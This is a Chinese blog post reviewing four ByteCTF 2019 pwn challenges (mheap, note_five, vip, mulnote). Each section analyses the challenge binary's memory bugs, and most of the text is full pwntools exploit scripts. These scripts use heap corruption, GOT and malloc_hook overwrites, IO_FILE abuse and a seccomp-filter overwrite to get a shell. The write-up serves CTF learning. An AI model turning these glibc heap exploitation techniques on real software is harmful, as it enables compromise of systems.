2019 ByteCTF部分PWN复盘

大概去年十一月份写的,拿过来再看一下

mheap

0x01 查看文件

看到也许可以hijacking GOT或者hijacking hook ## 0x02 源码分析 ### 创建功能
貌似看起来没什么问题。 ### 打印函数
### 删除功能
没有UAF,Double Free ### 编辑功能
最多只能编辑16个byte

通过调试发现并没有free和malloc功能,也就是说不能hijacking hook了。这个程序 是自己定义了一种类似堆的分配策略。现如下说明,当其分配的时候:

当其删除后:
这里不变,只是把对应chunk的指针删除了

数据地址内存如下:
删除的首地址出现在数据地址部分 **漏洞函数分析:**
程序首先用mmap分配了一个基址为0x23330000,大小为0x1000的chunk,来实现分配机制
没有限制大小,漏洞从这里开始。我们可以分配大于0x23330000的chunk。
**这里:当read向非法地址写入数据的时候会返回-1。这样就可以向低地址溢出写。x: if(True)才会执行 -1 == True 0 == False !(-1) == False** 这里尝试调试一下:
链表的指针在chunk里面 ## 0x03 思路分析

综合分析

首先我们需要掌握这几个点
1.分配的时候会便利空闲chunk链表,空闲chunk的状态如下:

2.分配最大size是0xff0,那么最后一个chunk超过这个范围值的情况,根据读入的漏洞函数则会往前覆盖数据

那么我们的目标就是:

将最后一块释放,同时通过复写修改fd到chunklist,这时候再分配跟chunklist里面size位大小相同的chunk则会将这个chunklist表内存分给新 chunk。

步骤很简单,分析很难

详细步骤

步骤一 覆盖fd指针,同时分配合适大小的chunk,劫持chunklist链表:

create(0,0xfa0,"\x00"*0x20) # now memory is 0xff0-0xfb0=0x40
create(1,0x20,"\x11"*0x2f) # now 0x40-0x30
delete(1)
create(2,0x50,p64(target_addr)+"\x22"*0x3f) # overwrite fd pointer

步骤二 泄露libc算出offset,劫持atoi函数:

create(3,0x0000000023330fa0,p64(elf.got['atoi'])+"\x33"*0x10) # alloc small size like fd pointer chunk's size
show(0)
data =u64(p.recv(6).ljust(8,"\x00"))
print hex(data)
libc_offset = data-libc.symbols['atoi']
system = libc_offset+libc.symbols['system']

edit(0,p64(system)+"\n")
p.recv()
p.sendline("/bin/sh")

0x04 exp

from pwn import*

context.log_level='debug'
p=process('./mheap')
elf=ELF('./mheap',checksec=False)
libc=elf.libc

def create(idx,size,data):
    p.sendlineafter('choice: ','1')
    p.sendlineafter('Index: ',str(idx))
    p.sendlineafter('size: ',str(size))
    p.sendlineafter('Content: ',data)

def delete(idx):
    p.sendlineafter('choice: ','3')
    p.sendlineafter('Index: ',str(idx))

def show(idx):
    p.sendlineafter('choice: ','2')
    p.sendlineafter('Index: ',str(idx))

def edit(idx,data):
    p.sendlineafter('choice: ','4')
    p.sendlineafter('Index: ',str(idx))
    p.send(data)

target_addr = 0x4040d0
create(0,0xfa0,"\x00"*0x20) # now memory is 0xff0-0xfb0=0x40
create(1,0x20,"\x11"*0x2f) # now 0x40-0x30
delete(1)
create(2,0x50,p64(target_addr)+"\x22"*0x3f) # overwrite fd pointer
create(3,0x0000000023330fa0,p64(elf.got['atoi'])+"\x33"*0x10) # alloc small size like fd pointer chunk's size
show(0)
data =u64(p.recv(6).ljust(8,"\x00"))
print hex(data)
libc_offset = data-libc.symbols['atoi']
system = libc_offset+libc.symbols['system']

edit(0,p64(system)+"\n")
p.recv()
p.sendline("/bin/sh")
p.interactive()

note_five

0x01 查看文件

这里 首先考虑两种办法:hijacking hook和hijacking io_file ## 0x02 IDA分析 ### 功能一:create
最多可以创建5个chunk, (4可以看到不能创建fastbin,而且创建的时候并没有检查指针是否占用,也就是可以 重复创建 ### 功能二:edit

漏洞存在:off by one

功能三:delete

没有UAF **稍微总结一下:目前看来不提供fastbin attack,不能泄露地址信息,仅仅一个unsorted bin attack和overlapping,貌似看起来很懵逼...** ## 0x03 思路 通过阅读大佬的exp,现在进行简单的思路总结:

思路一
首先要进行hijacking hook或者hijacking io_file都必须泄露地址这是毫无疑问的,那么泄露地址无非就这几种:打印函数或者stdout。这里看来没有直接打印的函数,而且构造起来更加困难。我们考虑第二种利用stdout打印:那么需要满足一个条件就是利用chunk控制那一块地址。那么只有fastbin attack可以简单的分配到任意地址。我们怎么只能修改global_max_size才可以利用fastbin attack。

其次打印了地址计算了libc基址后,我们需要利用io_file attack来劫持程序流。

思路二
思路简单实操很难。。。

0x04 详细步骤

解法一

第一步:像一个free的chunk中的bk指针内写入global_max_fast的地址-0x10。方法是用一个大chunk内控制小chunk
回答:这个方法其实是非主流的shrink方法:至于为什么要0xe1,是因为后面申请的是0x1d0,如果想用f1,那么后面就需要用分配0x1e0
测试可以通过.

具体怎么做呢:首先释放时要引起合并,然后再分配一个大的chunk,这个chunk就包含着小的了,同时就可以进行编辑小的chunk。那么释放的chunk的presize肯定不为0才能可以合并。

# 控制一个大chunk里面包含小chunk
create(0,0xe8)
create(1,0xf0)
create(2,0xe0)
create(3,0xe0)
delete(1)
edit(0,"a"*0xe8+"\xe1") 
create(1,0x1d0)
payload = "\x00"*0xf0+p64(0)+p64(0xf1)# 最后一位为0代表前面没有使用!!!!蠢死!
edit(1,payload)
delete(2)

这里需要调试,被自己蠢哭了,一直搞错一个变量。f..k!!!!!!!!!!!!!!!!!!!!!!!!!!!!
第二步:爆破global_max_fast后四位地址,由于0x1000机制,后三位不变0x7f8,unsorted bin attack修改值大小以至于可以使用fastbin attack

# 爆破global_max_fast后四位地址,由于0x1000机制,后三位不变0x7f8
# unsorted bin attack修改值大小以至于可以使用fastbin attack
guess_num = 3 # 1/16
global_max_fast = (3 << 12) | 0x7f8
payload1= payload + p64(0) + p16(global_max_fast-0x10)
edit(1,payload1)
create(2,0xe0)
delete(2)

第三步:进行fastbin attack分配到stdout相邻的地址上去,找偏移

# fast bin attack 控制stdout附近地址来执行
offset_maxFast_stdout = 0x11d8  # max_fast_bin - stdout
target_address = global_max_fast- offset_maxFast_stdout - 0x51  # 找到的size合适的地址
print hex(target_address)
payload2 = payload + p16(target_address) 
edit(1,payload2)
create(2,0xe0)
create(2,0xe0) #get target chunk,fastbin attack success

第四步:控制stdout,flag=0xfbad1800,write_base = leak_addr(通常是好计算的地址),计算offset

fake_stdout = "0"
fake_stdout+= "a"*0x40
fake_stdout+= p64(0xfbad1800)
fake_stdout+= p64(0)*3
fake_stdout+= p16(stdout_addr_last4+0x20) # io_write_base指向自己,才能把地址打印出来
edit(2,fake_stdout)
stdout_addr = u64(p.recv(6).ljust(8,"\x00"))
print "stdout address: ",hex(stdout_addr)
print "stdout last 4 addr",hex(stdout_addr_last4)
libc_offset = stdout_addr - libc.symbols['stdout']

第五步:控制stderr ,最终触发 IO_flush_all来 getshell

满足一个条件就可以了,之前做过满足第一个条件,现在由于分配的地址较好,所以我们来满足第二个条件。也就是:
fp->mode > 0
fp->wide_data->io_write_ptr>fp->wide_data->io_write_base

fake_stderr = "0"
fake_stderr+= p64(stdout_addr-0x40) #  fp->wide_data(struct)
fake_stderr+= p64(0)*3 #  相当于是把wide_date结构体指向本身,只关注需要的变量,同时
# 数据复用,这部分既是io_file结构体的成员也是wide_date的成员
fake_stderr+= p64(1)
edit(2,fake_stderr)

第六步:hijacking io_file函数这部步其实和上面的第五步可以连接在一起,代码发生一点变动,把vtable写进去

one_gadget = 0xf02a4 + libc_offset
fake_stderr = "0"
fake_stderr+= p64(stdout_addr-0x40) #  fp->wide_data(struct)
fake_stderr+= p64(0)#  相当于是把wide_date结构体指向本身,只关注需要的变量,同时
# 数据复用,这部分既是io_file结构体的成员也是wide_date的成员
fake_stderr+= p64(one_gadget) # hajicking overflow
fake_stderr+= p64(0) 
fake_stderr+= p64(1)
fake_stderr+= "a"*16
fake_stderr+= p64(stdout_addr-0x48) # fd->vtable
edit(2,fake_stderr)

exp1

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

libc = ELF("./libc.so")
elf = ELF("./note_five")
p = process("./note_five")

context.log_level = "debug"
context.update(os = 'linux', arch = 'amd64')

def create(id,size):
    p.sendlineafter("choice>> ","1")
    p.sendlineafter("idx: ",str(id))
    p.sendlineafter("size: ",str(size))

def delete(id):
    p.sendlineafter("choice>> ","3")
    p.sendlineafter("idx: ",str(id))

def edit(id,content):
    p.sendlineafter("choice>> ","2")
    p.sendlineafter("idx: ",str(id))
    p.sendlineafter("content: ",content)

# 控制一个大chunk里面包含小chunk
create(0,0xe8)
create(1,0xf0)
create(2,0xe0)
create(3,0xe0)
delete(1)
edit(0,"a"*0xe8+"\xe1") 
create(1,0x1d0)
payload = "\x00"*0xf0+p64(0)+p64(0xf1)# 最后一位为0代表前面没有使用!!!!蠢死!
edit(1,payload)
delete(2)

# 爆破global_max_fast后四位地址,由于0x1000机制,后三位不变0x7f8
# unsorted bin attack修改值大小以至于可以使用fastbin attack
guess_num = 3 # 1/16
global_max_fast = (3 << 12) | 0x7f8
payload1= payload + p64(0) + p16(global_max_fast-0x10)
edit(1,payload1)
create(2,0xe0)
delete(2)

# fast bin attack 控制stdout附近地址来执行
offset_maxFast_stdout = 0x11d8  # max_fast_bin - stdout
target_address = global_max_fast- offset_maxFast_stdout - 0x51  # 找到的size合适的地址
stdout_addr_last4 = global_max_fast- offset_maxFast_stdout
print hex(target_address)
payload2 = payload + p16(target_address) 
edit(1,payload2)
create(2,0xe0)
create(2,0xe0) #get target chunk,fastbin attack success

# control stdout
fake_stdout = "0"
fake_stdout+= "a"*0x40
fake_stdout+= p64(0xfbad1800)
fake_stdout+= p64(0)*3
fake_stdout+= p16(stdout_addr_last4+0x20) # io_write_base指向自己,才能把地址打印出来
edit(2,fake_stdout)
stdout_addr = u64(p.recv(6).ljust(8,"\x00"))-0x20
print "stdout address: ",hex(stdout_addr)
libc_offset = stdout_addr - libc.symbols['stdout']

# control stderr hijaking overflow
one_gadget = 0xf02a4 + libc_offset
fake_stderr = "0"
fake_stderr+= p64(stdout_addr-0x40) #  fp->wide_data(struct)
fake_stderr+= p64(0)#  相当于是把wide_date结构体指向本身,只关注需要的变量,同时
# 数据复用,这部分既是io_file结构体的成员也是wide_date的成员
fake_stderr+= p64(one_gadget) # hajicking overflow
fake_stderr+= p64(0) 
fake_stderr+= p64(1)
fake_stderr+= "a"*16
fake_stderr+= p64(stdout_addr-0x48) # fd->vtable
edit(2,fake_stderr)

p.recv()
p.sendline("4")

p.interactive()

解法二

前四步相同

第五步:找到合适位置的chunk,位置必须再malloc_hook之前。

delete(4)
target_start_addr = libc_offset + libc.symbols['__malloc_hook'] -0x1a1
print hex(target_start_addr)
payload3 = payload+p64(target_start_addr)
edit(1,payload3)
create(2,0xe0)
create(4,0xe0)

payload4 = "a"*0xd9+p64(0xf0)
edit(4,payload4)
delete(2)
target_start_addr+= 0xe1
payload4 = payload+p64(target_start_addr)
edit(1,payload4)
create(4,0xe0)
create(2,0xe0)

one_gadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
hijacking_malloc_addr = target_start_addr+0x10
payload5 = p64(libc_offset + one_gadgets[1])
payload5+= 0xa0*"a" + p64(libc_offset + one_gadgets[1]) + p64(libc_offset+libc.symbols['realloc']+13)
edit(2,payload5)
gdb.attach(p)
create(4,1000)

exp2

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

libc = ELF("./libc.so")
elf = ELF("./note_five")
p = process("./note_five")

context.log_level = "debug"
context.update(os = 'linux', arch = 'amd64')

def create(id,size):
    p.sendlineafter("choice>> ","1")
    p.sendlineafter("idx: ",str(id))
    p.sendlineafter("size: ",str(size))

def delete(id):
    p.sendlineafter("choice>> ","3")
    p.sendlineafter("idx: ",str(id))

def edit(id,content):
    p.sendlineafter("choice>> ","2")
    p.sendlineafter("idx: ",str(id))
    p.sendlineafter("content: ",content)

# 控制一个大chunk里面包含小chunk
create(0,0xe8)
create(1,0xf0)
create(2,0xe0)
create(3,0xe0)
delete(1)
edit(0,"a"*0xe8+"\xe1") 
create(1,0x1d0)
payload = "\x00"*0xf0+p64(0)+p64(0xf1)# 最后一位为0代表前面没有使用!!!!蠢死!
edit(1,payload)
delete(2)

# 爆破global_max_fast后四位地址,由于0x1000机制,后三位不变0x7f8
# unsorted bin attack修改值大小以至于可以使用fastbin attack
guess_num = 3 # 1/16
global_max_fast = (3 << 12) | 0x7f8
payload1= payload + p64(0) + p16(global_max_fast-0x10)
edit(1,payload1)
create(2,0xe0)
delete(2)

# fast bin attack 控制stdout附近地址来执行
offset_maxFast_stdout = 0x11d8  # max_fast_bin - stdout
target_address = global_max_fast- offset_maxFast_stdout - 0x51  # 找到的size合适的地址
stdout_addr_last4 = global_max_fast- offset_maxFast_stdout
print hex(target_address)
payload2 = payload + p16(target_address) 
edit(1,payload2)
create(4,0xe0)
create(2,0xe0) #get target chunk,fastbin attack success

# control stdout
fake_stdout = "0"
fake_stdout+= "a"*0x40
fake_stdout+= p64(0xfbad1800)
fake_stdout+= p64(0)*3
fake_stdout+= p16(stdout_addr_last4+0x20) # io_write_base指向自己,才能把地址打印出来
edit(2,fake_stdout)
stdout_addr = u64(p.recv(6).ljust(8,"\x00"))-0x20
print "stdout address: ",hex(stdout_addr)
libc_offset = stdout_addr - libc.symbols['_IO_2_1_stdout_']

# hajacking malloc_hook
delete(4)
target_start_addr = libc_offset + libc.symbols['__malloc_hook'] -0x1a1
print hex(target_start_addr)
payload3 = payload+p64(target_start_addr)
edit(1,payload3)
create(2,0xe0)
create(4,0xe0)

payload4 = "a"*0xd9+p64(0xf0)
edit(4,payload4)
delete(2)
target_start_addr+= 0xe1
payload4 = payload+p64(target_start_addr)
edit(1,payload4)
create(4,0xe0)
create(2,0xe0)

one_gadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
hijacking_malloc_addr = target_start_addr+0x10
payload5 = p64(libc_offset + one_gadgets[1])
payload5+= 0xa0*"a" + p64(libc_offset + one_gadgets[1]) + p64(libc_offset+libc.symbols['realloc']+13)
# one_gadget放在realloc_hook地址,malloc_hook的地址放realloc函数
edit(2,payload5)
gdb.attach(p)
create(4,1000)

p.interactive()

这里最后需要解释一下,为什么one_gadget没有放到malloc_hook之中,原因是环境问题导致one_gadget无法正常使用,所以我们利用realloc平衡栈帧。具体操作是,one_gadget放在realloc_hook中,malloc_hook存放realloc函数地址

vip

0x01 查看文件

第一反应就是hijacking GOT,没有开PIE相对更好利用。 ## 0x02 IDA分析 删除功能
没有UAF。 创建功能
就只有创建0x50的功能 编辑功能
这里有溢出漏洞,没有检查长度直接写入 查看功能
貌似也没什么漏洞 vip功能
里面的ptrl函数是禁止某些权限,而第三个参数&v1就是所定义的规则,与此同时前面有一个溢出的漏洞:
仅有0x20的空间却读入了0x50的长度,但是buf下面就是定义的规则。所以我们需要修改这些规则,来达到绕过的目的。 ## 0x03 思路 **思路一:绕过规则使程序可以劫持GOT表到system函数达到shellcode的目的(那个规则不知道怎么获得)**

步骤一:先溢出修改绕过规则

rule = "\x20\x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x03\x01\x01\x00\x00\x20\x00\x00\x00\x18\x00\x00\x00\x15\x00\x00\x01\x7e\x20\x40\x00\x06\x00\x00\x00\x00\x00\x05\x00\x06\x00\x00\x00\x00\x00\xff\x7f"
vip("a"*0x20+rule)

步骤二:hijacking free_hook或者free got都可以
思路一:利用tcache机制

0x04 exp

from pwn import *

p = process("./vip")
elf = ELF('./vip')
libc = ELF('./libc-2.27.so')

sendafter = p.sendafter
sendlineafter = p.sendlineafter
def create(idx):
    sendlineafter('choice: ', '1')
    sendlineafter('Index: ', str(idx))
def show(idx):
    sendlineafter('choice: ', '2')
    sendlineafter('Index: ', str(idx))
def delete(idx):
    sendlineafter('choice: ', '3')
    sendlineafter('Index: ', str(idx))
def edit(idx, size, cont):
    sendlineafter('choice: ', '4')
    sendlineafter('Index: ', str(idx))
    sendlineafter('Size: ', str(size))
    sendafter('Content: ', cont)
def vip(name):
    sendlineafter('choice: ', '6')
    sendafter('name: ', name)


rule = "\x20\x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x03\x01\x01\x00\x00\x20\x00\x00\x00\x18\x00\x00\x00\x15\x00\x00\x01\x7e\x20\x40\x00\x06\x00\x00\x00\x00\x00\x05\x00\x06\x00\x00\x00\x00\x00\xff\x7f"
vip("a"*0x20+rule)
create(0)
create(1)
create(2)
create(3)
delete(1)
payload = 0x50*"a"
payload+= p64(0)
payload+= p64(0x61)
payload+= p64(0x404100)
edit(0,0x68,payload)
create(1)
create(0xf)
edit(0xf,0x8,p64(elf.got['free']))
show(0)
data = u64(p.recv(6).ljust(8,"\x00"))
offset = data - libc.symbols['free']
free_hook = offset + libc.symbols['__free_hook']
system = offset + libc.symbols['system']
binsh = offset + libc.search('/bin/sh').next()
edit(0xf,0x10,p64(elf.got['free'])+p64(binsh))
edit(0,0x8,p64(system))
delete(1)
p.interactive()

思路二:unlink
不能使用unlink,因为创建不出大于fastbin的chunk。(可以触发unlink只是不知道能不能getshell 20.5.22)

mulnote

0x01 查看文件

无法hijacking got,所以我们就可以利用malloc和free的hook来控制程序流

0x02 IDA分析

IDA里面代码非常乱,但是我们需要知道一些重要的东西,最重要的无非就是delete和malloc以及edit

在delete中我们有短暂的UAF漏洞以及Double free 别的地方没有看到有漏洞。注意:由于PIE开启程序加载地址不固定,所以就无法进行 unlink直接控制指针。

0x03 思路

1.但是我们看到有show函数,所以我们可以利用unsorted bin的特性以及 UAF来进行泄露main arean,并且算出libc基址。
2.进行Double free攻击,malloc一个可以控制malloc_hook指针的chunk。
3.找到shellcode的地址进行控制。

0x04 调试

1.泄露libc基址:

create(0x90,"0")
delete(0)
show()
p.recvuntil("note[0]:\n")
data = u64(p.recv(6).ljust(8,"\x00"))
libc_base = data - offset_arean_libc - 88
print libc_base

2.Double free并且找到一个可以控制malloc_hook的chunk

也就是malloc_hook的地址-0x13。这里hook的地址有两种方法算出来: 1.libc_base + libc.symbols["_malloc_hook"] 2.根据之前偏移算出来
# malloc_hook = libc_base + libc.symbols['__malloc_hook']
malloc_hook  = data - 0x68

create(0x90,"1")
create(0x60,"2")
create(0x60,"3")

delete(2)
delete(3)
delete(2)

create(0x60,p64(malloc_hook-0x13))
gdb.attach(p)
create(0x60,"a")
create(0x60,"b")
create(0x60,"c"*3+p64(libc_base+shellcode_offset))

3.找到shellcode地址

shellcode_addr = libcbase+0x4526a

0x05 exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context.log_level = "debug"
context.update(os = 'linux', arch = 'amd64')

p = process("./mulnote")
# p = remote("112.126.101.96",9999)
libc = ELF("./libc.so")

def create(sz,content):
    p.sendlineafter(">","C")
    p.sendlineafter(">",str(sz))
    p.sendlineafter(">",content)
def edit(idx,content):
    p.sendlineafter(">","E")
    p.sendlineafter(">",str(idx))
    p.sendlineafter(">",content)
def delete(idx):
    p.sendlineafter(">","R")
    p.sendlineafter(">",str(idx))
def show():
    p.sendlineafter(">","S")

offset_arean_libc =  0x3c4b20
shellcode_offset = 0x4526a

create(0x90,"0")
delete(0)
show()
p.recvuntil("note[0]:\n")
data = u64(p.recv(6).ljust(8,"\x00"))
libc_base = data - offset_arean_libc - 88
print libc_base

# malloc_hook = libc_base + libc.symbols['__malloc_hook']
malloc_hook  = data - 0x68

create(0x90,"1")
create(0x60,"2")
create(0x60,"3")

delete(2)
delete(3)
delete(2)

create(0x60,p64(malloc_hook-0x13))
gdb.attach(p)
create(0x60,"a")
create(0x60,"b")
create(0x60,"c"*3+p64(libc_base+shellcode_offset))

p.interactive()

  Reprint policy: xiaoxin 2019 ByteCTF部分PWN复盘

 Previous
2020-国赛初赛PWN题记录 2020-国赛初赛PWN题记录
easybox思路考点:IO leak、off by one、2.23 堆溢出,off by one,没有show功能,和蓝帽杯一道题只是换成了2.23。思路是将一个chunk同时释放到unsorted bin和fastbin 0x70那条
2020-09-24
Next 
2020-高校战疫部分PWN题复盘 2020-高校战疫部分PWN题复盘
前言Short_path_V2IDA分析got表可劫持、PIE没开启 程序一开始就读取flag到bss上了。 create功能: 我们看到开始就创建了0x10的chunk作为price,但后面有小于0x100的指定size的chunk
2020-09-20
  TOC